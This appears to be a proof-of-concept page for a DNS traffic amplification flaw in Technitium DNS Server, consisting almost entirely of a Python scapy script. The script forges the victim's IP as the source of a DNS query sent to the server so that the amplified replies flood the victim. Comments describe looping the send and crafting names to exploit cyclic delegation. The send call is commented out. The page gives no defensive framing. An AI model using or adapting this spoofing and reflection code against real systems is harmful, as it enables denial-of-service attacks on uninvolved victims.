CVE-2026-42255 Technitium DNS Server流量放大漏洞

import scapy.all as scapy # Configuration # Target: The vulnerable Technitium DNS Server IP target_dns = "192.168.1.100" # Victim: The IP address to receive the amplified traffic victim_ip = "203.0.113.50" # Construct IP layer with spoofed source address ip_layer = scapy.IP(src=victim_ip, dst=target_dns) # Construct UDP layer (DNS typically uses port 53) udp_layer = scapy.UDP(sport=12345, dport=53) # Construct DNS query # Note: To exploit cyclic delegation, the query name usually needs to be # crafted based on the specific zone configuration of the target server. # This example sends a standard query to demonstrate the packet structure. dns_layer = scapy.DNS(rd=1, qd=scapy.DNSQR(qname="example.com")) # Combine layers packet = ip_layer / udp_layer / dns_layer # Send the packet # In a real scenario, this would be sent in a loop to generate traffic print(f"Sending spoofed DNS query to {target_dns} reflecting to {victim_ip}") # scapy.send(packet)
